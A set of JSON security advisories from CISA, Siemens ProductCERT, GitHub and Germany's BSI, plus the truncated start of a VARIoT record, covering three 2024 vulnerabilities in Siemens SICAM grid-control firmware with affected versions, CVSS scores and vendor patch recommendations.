{
  "document": {
    "acknowledgments": [
      {
        "names": [
          "Steffen Robertz",
          "Gerhard Hechenberger",
          "Thomas Weber"
        ],
        "organization": "SEC Consult Vulnerability Lab",
        "summary": "reporting these vulnerabilities to Siemens."
      }
    ],
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Disclosure is not limited",
      "tlp": {
        "label": "WHITE",
        "url": "https://us-cert.cisa.gov/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "Multiple SICAM products are affected by vulnerabilities that could lead to privilege escalation, remote code execution or information loss namely: \n\n- \nSICAM A8000 device firmwares \n\n- CPC80 for CP-8000/CP-8021/CP-8022 \n- CPCI85 and OPUPI0 for CP-8031/CP-8050\n\n\n- \nSICAM EGS firmware \n\n- CPCI85 and OPUPI0\n\n\n- \nSICAM 8 Software Solution \n\n- SICORE \n\n\n\nSiemens has released new versions for the affected firmwares and recommends to update to the latest versions.",
        "title": "Summary"
      },
      {
        "category": "general",
        "text": "Operators of critical power systems (e.g. TSOs or DSOs) worldwide are usually required by regulations to build resilience into the power grids by applying multi-level redundant secondary protection schemes. It is therefore recommended that the operators check whether appropriate resilient protection measures are in place. The risk of cyber incidents impacting the grid\u0027s reliability can thus be minimized by virtue of the grid design.\nSiemens strongly recommends applying the provided security updates using the corresponding tooling and documented procedures made available with the product. If supported by the product, an automated means to apply the security updates across multiple product instances may be used. Siemens strongly recommends prior validation of any security update before being applied, and supervision by trained staff of the update process in the target environment. \nAs a general security measure Siemens strongly recommends to protect network access with appropriate mechanisms (e.g. firewalls, segmentation, VPN). It is advised to configure the environment according to our operational guidelines in order to run the devices in a protected IT environment.\n\nRecommended security guidelines can be found at:\n\nhttps://www.siemens.com/gridsecurity",
        "title": "General Recommendations"
      },
      {
        "category": "general",
        "text": "For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "Siemens Security Advisories are subject to the terms and conditions contained in Siemens\u0027 underlying license terms or other applicable agreements previously agreed to with Siemens (hereinafter \"License Terms\"). To the extent applicable to information, software or documentation made available in or through a Siemens Security Advisory, the Terms of Use of Siemens\u0027 Global Website (https://www.siemens.com/terms_of_use, hereinafter \"Terms of Use\"), in particular Sections 8-10 of the Terms of Use, shall apply additionally. In case of conflicts, the License Terms shall prevail over the Terms of Use.",
        "title": "Terms of Use"
      },
      {
        "category": "legal_disclaimer",
        "text": "All information products included in https://us-cert.cisa.gov/ics are provided \"as is\" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. DHS does not endorse any commercial product or service, referenced in this product or otherwise. Further dissemination of this product is governed by the Traffic Light Protocol (TLP) marking in the header. For more information about TLP, see https://us-cert.cisa.gov/tlp/.",
        "title": "Legal Notice"
      },
      {
        "category": "other",
        "text": "This CISA CSAF advisory was converted from Siemens ProductCERT\u0027s CSAF advisory.",
        "title": "Advisory Conversion Disclaimer"
      },
      {
        "category": "other",
        "text": "Multiple",
        "title": "Critical infrastructure sectors"
      },
      {
        "category": "other",
        "text": "Worldwide",
        "title": "Countries/areas deployed"
      },
      {
        "category": "other",
        "text": "Germany",
        "title": "Company headquarters location"
      },
      {
        "category": "general",
        "text": "CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "Locate control system networks and remote devices behind firewalls and isolate them from business networks.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.",
        "title": "Recommended Practices"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "central@cisa.dhs.gov",
      "name": "CISA",
      "namespace": "https://www.cisa.gov/"
    },
    "references": [
      {
        "category": "self",
        "summary": "SSA-871704: Multiple Vulnerabilities in SICAM Products - CSAF Version",
        "url": "https://cert-portal.siemens.com/productcert/csaf/ssa-871704.json"
      },
      {
        "category": "self",
        "summary": "SSA-871704: Multiple Vulnerabilities in SICAM Products - HTML Version",
        "url": "https://cert-portal.siemens.com/productcert/html/ssa-871704.html"
      },
      {
        "category": "self",
        "summary": "SSA-871704: Multiple Vulnerabilities in SICAM Products - PDF Version",
        "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-871704.pdf"
      },
      {
        "category": "self",
        "summary": "SSA-871704: Multiple Vulnerabilities in SICAM Products - TXT Version",
        "url": "https://cert-portal.siemens.com/productcert/txt/ssa-871704.txt"
      },
      {
        "category": "self",
        "summary": "ICS Advisory ICSA-24-137-02 JSON",
        "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/OT/white/2024/icsa-24-137-02.json"
      },
      {
        "category": "self",
        "summary": "ICS Advisory ICSA-24-137-02 - Web Version",
        "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-137-02"
      },
      {
        "category": "external",
        "summary": "Recommended Practices",
        "url": "https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-10-301-01"
      },
      {
        "category": "external",
        "summary": "Recommended Practices",
        "url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices"
      },
      {
        "category": "external",
        "summary": "Recommended Practices",
        "url": "https://www.cisa.gov/topics/industrial-control-systems"
      },
      {
        "category": "external",
        "summary": "Recommended Practices",
        "url": "https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf"
      },
      {
        "category": "external",
        "summary": "Recommended Practices",
        "url": "https://www.cisa.gov/sites/default/files/publications/Cybersecurity_Best_Practices_for_Industrial_Control_Systems.pdf"
      },
      {
        "category": "external",
        "summary": "Recommended Practices",
        "url": "https://www.cisa.gov/uscert/ics/tips/ICS-TIP-12-146-01B"
      }
    ],
    "title": "Siemens SICAM Products",
    "tracking": {
      "current_release_date": "2024-05-14T00:00:00.000000Z",
      "generator": {
        "engine": {
          "name": "CISA CSAF Generator",
          "version": "1"
        }
      },
      "id": "ICSA-24-137-02",
      "initial_release_date": "2024-05-14T00:00:00.000000Z",
      "revision_history": [
        {
          "date": "2024-05-14T00:00:00.000000Z",
          "legacy_version": "1.0",
          "number": "1",
          "summary": "Publication Date"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003cV16.41",
                "product": {
                  "name": "CPC80 Central Processing/Communication",
                  "product_id": "CSAFPID-0001"
                }
              }
            ],
            "category": "product_name",
            "name": "CPC80 Central Processing/Communication"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003cV5.30",
                "product": {
                  "name": "CPCI85 Central Processing/Communication",
                  "product_id": "CSAFPID-0002"
                }
              }
            ],
            "category": "product_name",
            "name": "CPCI85 Central Processing/Communication"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003cV5.30",
                "product": {
                  "name": "OPUPI0 AMQP/MQTT",
                  "product_id": "CSAFPID-0003"
                }
              }
            ],
            "category": "product_name",
            "name": "OPUPI0 AMQP/MQTT"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003cV1.3.0",
                "product": {
                  "name": "SICORE Base system",
                  "product_id": "CSAFPID-0004"
                }
              }
            ],
            "category": "product_name",
            "name": "SICORE Base system"
          }
        ],
        "category": "vendor",
        "name": "Siemens"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2024-31484",
      "cwe": {
        "id": "CWE-170",
        "name": "Improper Null Termination"
      },
      "notes": [
        {
          "category": "summary",
          "text": "The affected device firmwares contain an improper null termination vulnerability while parsing a specific HTTP header. This could allow an attacker to execute code in the context of the current process or lead to denial of service condition.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "CSAFPID-0001",
          "CSAFPID-0002"
        ]
      },
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "Update to V5.30 or later version\n\nThe firmware CPCI85 V5.30 is present within \"CP-8031/CP-8050 Package\" V5.30",
          "product_ids": [
            "CSAFPID-0002"
          ]
        },
        {
          "category": "vendor_fix",
          "details": "Update to V16.41 or later version.\n\nThe firmware CPC80 V16.41 is present within \u201cCP-8000/CP-8021/CP-8022 Package\u201d V16.41",
          "product_ids": [
            "CSAFPID-0001"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "CSAFPID-0001",
            "CSAFPID-0002"
          ]
        }
      ],
      "title": "CVE-2024-31484"
    },
    {
      "cve": "CVE-2024-31485",
      "cwe": {
        "id": "CWE-77",
        "name": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "The web interface of affected devices is vulnerable to command injection due to missing server side input sanitation. This could allow an authenticated privileged remote attacker to execute arbitrary code with root privileges.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "CSAFPID-0002",
          "CSAFPID-0004"
        ]
      },
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "Update to V5.30 or later version\n\nThe firmware CPCI85 V5.30 is present within \"CP-8031/CP-8050 Package\" V5.30",
          "product_ids": [
            "CSAFPID-0002"
          ]
        },
        {
          "category": "vendor_fix",
          "details": "Update to V1.3.0 or later version\n\nThe firmware SICORE V1.3.0 is present within \"SICAM 8 Software Solution Package\" V5.30",
          "product_ids": [
            "CSAFPID-0004"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "CSAFPID-0002",
            "CSAFPID-0004"
          ]
        }
      ],
      "title": "CVE-2024-31485"
    },
    {
      "cve": "CVE-2024-31486",
      "cwe": {
        "id": "CWE-312",
        "name": "Cleartext Storage of Sensitive Information"
      },
      "notes": [
        {
          "category": "summary",
          "text": "The affected devices stores MQTT client passwords without sufficient protection on the devices.  An attacker with remote shell access or physical access could retrieve the credentials leading to confidentiality loss.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "CSAFPID-0003"
        ]
      },
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "Update to V5.30 or later version\n\nThe firmware OPUPI0 V5.30 is present within \"CP-8031/CP-8050 Package\" V5.30",
          "product_ids": [
            "CSAFPID-0003"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "CSAFPID-0003"
          ]
        }
      ],
      "title": "CVE-2024-31486"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-31485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T16:16:51Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions \u003c V5.30), SICORE Base system (All versions \u003c V1.3.0). The web interface of affected devices is vulnerable to command injection due to missing server side input sanitation. This could allow an authenticated privileged remote attacker to execute arbitrary code with root privileges.",
  "id": "GHSA-xm6m-f95r-5x2c",
  "modified": "2024-07-04T09:32:48Z",
  "published": "2024-05-14T18:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31485"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-871704.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "document": {
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Disclosure is not limited. (TLPv2: TLP:CLEAR)",
      "tlp": {
        "label": "WHITE"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "Multiple SICAM products are affected by vulnerabilities that could lead to privilege escalation, remote code execution or information loss namely: \n\n- \nSICAM A8000 device firmwares \n\n- CPC80 for CP-8000/CP-8021/CP-8022 \n- CPCI85 and OPUPI0 for CP-8031/CP-8050\n\n\n- \nSICAM EGS firmware \n\n- CPCI85 and OPUPI0\n\n\n- \nSICAM 8 Software Solution \n\n- SICORE \n\n\n\nSiemens has released new versions for the affected firmwares and recommends to update to the latest versions.",
        "title": "Summary"
      },
      {
        "category": "general",
        "text": "Operators of critical power systems (e.g. TSOs or DSOs) worldwide are usually required by regulations to build resilience into the power grids by applying multi-level redundant secondary protection schemes. It is therefore recommended that the operators check whether appropriate resilient protection measures are in place. The risk of cyber incidents impacting the grid\u0027s reliability can thus be minimized by virtue of the grid design.\nSiemens strongly recommends applying the provided security updates using the corresponding tooling and documented procedures made available with the product. If supported by the product, an automated means to apply the security updates across multiple product instances may be used. Siemens strongly recommends prior validation of any security update before being applied, and supervision by trained staff of the update process in the target environment. \nAs a general security measure Siemens strongly recommends to protect network access with appropriate mechanisms (e.g. firewalls, segmentation, VPN). It is advised to configure the environment according to our operational guidelines in order to run the devices in a protected IT environment.\n\nRecommended security guidelines can be found at:\n\nhttps://www.siemens.com/gridsecurity",
        "title": "General Recommendations"
      },
      {
        "category": "general",
        "text": "For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "Siemens Security Advisories are subject to the terms and conditions contained in Siemens\u0027 underlying license terms or other applicable agreements previously agreed to with Siemens (hereinafter \"License Terms\"). To the extent applicable to information, software or documentation made available in or through a Siemens Security Advisory, the Terms of Use of Siemens\u0027 Global Website (https://www.siemens.com/terms_of_use, hereinafter \"Terms of Use\"), in particular Sections 8-10 of the Terms of Use, shall apply additionally. In case of conflicts, the License Terms shall prevail over the Terms of Use.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "productcert@siemens.com",
      "name": "Siemens ProductCERT",
      "namespace": "https://www.siemens.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "SSA-871704: Multiple Vulnerabilities in SICAM Products - HTML Version",
        "url": "https://cert-portal.siemens.com/productcert/html/ssa-871704.html"
      },
      {
        "category": "self",
        "summary": "SSA-871704: Multiple Vulnerabilities in SICAM Products - CSAF Version",
        "url": "https://cert-portal.siemens.com/productcert/csaf/ssa-871704.json"
      },
      {
        "category": "self",
        "summary": "SSA-871704: Multiple Vulnerabilities in SICAM Products - PDF Version",
        "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-871704.pdf"
      },
      {
        "category": "self",
        "summary": "SSA-871704: Multiple Vulnerabilities in SICAM Products - TXT Version",
        "url": "https://cert-portal.siemens.com/productcert/txt/ssa-871704.txt"
      }
    ],
    "title": "SSA-871704: Multiple Vulnerabilities in SICAM Products",
    "tracking": {
      "current_release_date": "2024-06-11T00:00:00Z",
      "generator": {
        "engine": {
          "name": "Siemens ProductCERT CSAF Generator",
          "version": "1"
        }
      },
      "id": "SSA-871704",
      "initial_release_date": "2024-05-14T00:00:00Z",
      "revision_history": [
        {
          "date": "2024-05-14T00:00:00Z",
          "legacy_version": "1.0",
          "number": "1",
          "summary": "Publication Date"
        },
        {
          "date": "2024-06-11T00:00:00Z",
          "legacy_version": "1.1",
          "number": "2",
          "summary": "Added Constantin Schieber-Kn\u00f6bl and Stefan Viehb\u00f6ck to the acknowledgment"
        }
      ],
      "status": "final",
      "version": "2"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003cV16.41",
                "product": {
                  "name": "CPC80 Central Processing/Communication",
                  "product_id": "1"
                }
              }
            ],
            "category": "product_name",
            "name": "CPC80 Central Processing/Communication"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003cV5.30",
                "product": {
                  "name": "CPCI85 Central Processing/Communication",
                  "product_id": "2"
                }
              }
            ],
            "category": "product_name",
            "name": "CPCI85 Central Processing/Communication"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003cV5.30",
                "product": {
                  "name": "OPUPI0 AMQP/MQTT",
                  "product_id": "3"
                }
              }
            ],
            "category": "product_name",
            "name": "OPUPI0 AMQP/MQTT"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003cV1.3.0",
                "product": {
                  "name": "SICORE Base system",
                  "product_id": "4"
                }
              }
            ],
            "category": "product_name",
            "name": "SICORE Base system"
          }
        ],
        "category": "vendor",
        "name": "Siemens"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2024-31484",
      "cwe": {
        "id": "CWE-170",
        "name": "Improper Null Termination"
      },
      "notes": [
        {
          "category": "summary",
          "text": "The affected devices contain an improper null termination vulnerability while parsing a specific HTTP header. This could allow an attacker to execute code in the context of the current process or lead to denial of service condition.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1",
          "2"
        ]
      },
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "Update to V5.30 or later version\n\nThe firmware CPCI85 V5.30 is present within \"CP-8031/CP-8050 Package\" V5.30",
          "product_ids": [
            "2"
          ]
        },
        {
          "category": "vendor_fix",
          "details": "Update to V16.41 or later version.\n\nThe firmware CPC80 V16.41 is present within \u201cCP-8000/CP-8021/CP-8022 Package\u201d V16.41",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1",
            "2"
          ]
        }
      ],
      "title": "CVE-2024-31484"
    },
    {
      "cve": "CVE-2024-31485",
      "cwe": {
        "id": "CWE-77",
        "name": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "The web interface of affected devices is vulnerable to command injection due to missing server side input sanitation. This could allow an authenticated privileged remote attacker to execute arbitrary code with root privileges.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "2",
          "4"
        ]
      },
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "Update to V5.30 or later version\n\nThe firmware CPCI85 V5.30 is present within \"CP-8031/CP-8050 Package\" V5.30",
          "product_ids": [
            "2"
          ]
        },
        {
          "category": "vendor_fix",
          "details": "Update to V1.3.0 or later version\n\nThe firmware SICORE V1.3.0 is present within \"SICAM 8 Software Solution Package\" V5.30",
          "product_ids": [
            "4"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "2",
            "4"
          ]
        }
      ],
      "title": "CVE-2024-31485"
    },
    {
      "cve": "CVE-2024-31486",
      "cwe": {
        "id": "CWE-312",
        "name": "Cleartext Storage of Sensitive Information"
      },
      "notes": [
        {
          "category": "summary",
          "text": "The affected devices stores MQTT client passwords without sufficient protection on the devices.  An attacker with remote shell access or physical access could retrieve the credentials leading to confidentiality loss.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "3"
        ]
      },
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "Update to V5.30 or later version\n\nThe firmware OPUPI0 V5.30 is present within \"CP-8031/CP-8050 Package\" V5.30",
          "product_ids": [
            "3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "3"
          ]
        }
      ],
      "title": "CVE-2024-31486"
    }
  ]
}

{
  "document": {
    "aggregate_severity": {
      "text": "mittel"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Siemens SICAM ist eine Produktfamilie von SCADA-Systemen f\u00fcr den Betrieb von industriellen Prozessen.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Siemens SICAM ausnutzen, um beliebigen Programmcode auszuf\u00fchren und um um vertrauliche Informationen offenzulegen.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Sonstiges",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2024-1111 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2024/wid-sec-w-2024-1111.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2024-1111 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2024-1111"
      },
      {
        "category": "external",
        "summary": "Siemens Security Advisory by Siemens ProductCERT vom 2024-05-13",
        "url": "https://cert-portal.siemens.com/productcert/html/ssa-871704.html"
      },
      {
        "category": "external",
        "summary": "Siemens Security Advisory SSA-620338 vom 2024-06-11",
        "url": "https://cert-portal.siemens.com/productcert/html/ssa-620338.html"
      }
    ],
    "source_lang": "en-US",
    "title": "Siemens SICAM: Mehrere Schwachstellen",
    "tracking": {
      "current_release_date": "2024-06-10T22:00:00.000+00:00",
      "generator": {
        "date": "2024-08-15T18:08:52.371+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.3.5"
        }
      },
      "id": "WID-SEC-W-2024-1111",
      "initial_release_date": "2024-05-13T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2024-05-13T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        },
        {
          "date": "2024-06-10T22:00:00.000+00:00",
          "number": "2",
          "summary": "Neue Updates von Siemens aufgenommen"
        }
      ],
      "status": "final",
      "version": "2"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "CPC80 Central \u003cV16.41",
                "product": {
                  "name": "Siemens SICAM CPC80 Central \u003cV16.41",
                  "product_id": "T034735"
                }
              },
              {
                "category": "product_version_range",
                "name": "CPCI85 Central \u003cV5.30",
                "product": {
                  "name": "Siemens SICAM CPCI85 Central \u003cV5.30",
                  "product_id": "T034736"
                }
              },
              {
                "category": "product_version_range",
                "name": "OPUPI0 AMQP/MQTT \u003cV5.30",
                "product": {
                  "name": "Siemens SICAM OPUPI0 AMQP/MQTT \u003cV5.30",
                  "product_id": "T034737"
                }
              },
              {
                "category": "product_version_range",
                "name": "SICORE Base \u003cV1.3.0",
                "product": {
                  "name": "Siemens SICAM SICORE Base \u003cV1.3.0",
                  "product_id": "T034738"
                }
              },
              {
                "category": "product_version",
                "name": "AK3",
                "product": {
                  "name": "Siemens SICAM AK3",
                  "product_id": "T035309",
                  "product_identification_helper": {
                    "cpe": "cpe:/h:siemens:sicam:ak3"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "SICAM"
          }
        ],
        "category": "vendor",
        "name": "Siemens"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2024-31484",
      "notes": [
        {
          "category": "description",
          "text": "Es besteht eine Schwachstelle in Siemens SICAM. Dieser Fehler betrifft die CPC80 Central Processing/Communication und die CPCI85 Central Processing/Communication Firmware aufgrund eines fehlerhaften Null-Termination-Problem. Ein entfernter, anonymer Angreifer kann diese Schwachstelle ausnutzen, um Code im Kontext des aktuellen Prozesses auszuf\u00fchren oder einen Denial-of-Service-Zustand zu erzeugen. Zur erfolgreichen Ausnutzung ist eine Benutzeraktion erforderlich."
        }
      ],
      "product_status": {
        "known_affected": [
          "T035309"
        ]
      },
      "release_date": "2024-05-13T22:00:00.000+00:00",
      "title": "CVE-2024-31484"
    },
    {
      "cve": "CVE-2024-31485",
      "notes": [
        {
          "category": "description",
          "text": "Es besteht eine Schwachstelle in Siemens SICAM. Dieser Fehler betrifft die CPCI85 Central Processing/Communication und die SICORE Base System Firmware aufgrund fehlender Server-seitiger Eingabe\u00fcberpr\u00fcfung, was zu einer Command-Injection-Schwachstelle f\u00fchrt. Ein authentifizierter, privilegierter entfernter Angreifer kann diese Schwachstelle ausnutzen, um beliebigen Code mit Root-Rechten auszuf\u00fchren."
        }
      ],
      "product_status": {
        "known_affected": [
          "T035309"
        ]
      },
      "release_date": "2024-05-13T22:00:00.000+00:00",
      "title": "CVE-2024-31485"
    },
    {
      "cve": "CVE-2024-31486",
      "notes": [
        {
          "category": "description",
          "text": "Es besteht eine Schwachstelle in Siemens SICAM. Dieser Fehler betrifft die Firmware OPUPI0 AMQP/MQTT aufgrund eines unzureichenden Schutzmechanismus f\u00fcr MQTT-Client-Passw\u00f6rter. Ein authentifizierter, entfernter Angreifer mit Shell-Zugriff oder physischem Zugriff kann diese Schwachstelle ausnutzen, um vertrauliche Informationen offenzulegen."
        }
      ],
      "product_status": {
        "known_affected": [
          "T035309"
        ]
      },
      "release_date": "2024-05-13T22:00:00.000+00:00",
      "title": "CVE-2024-31486"
    }
  ]
}

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-202405-0176",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
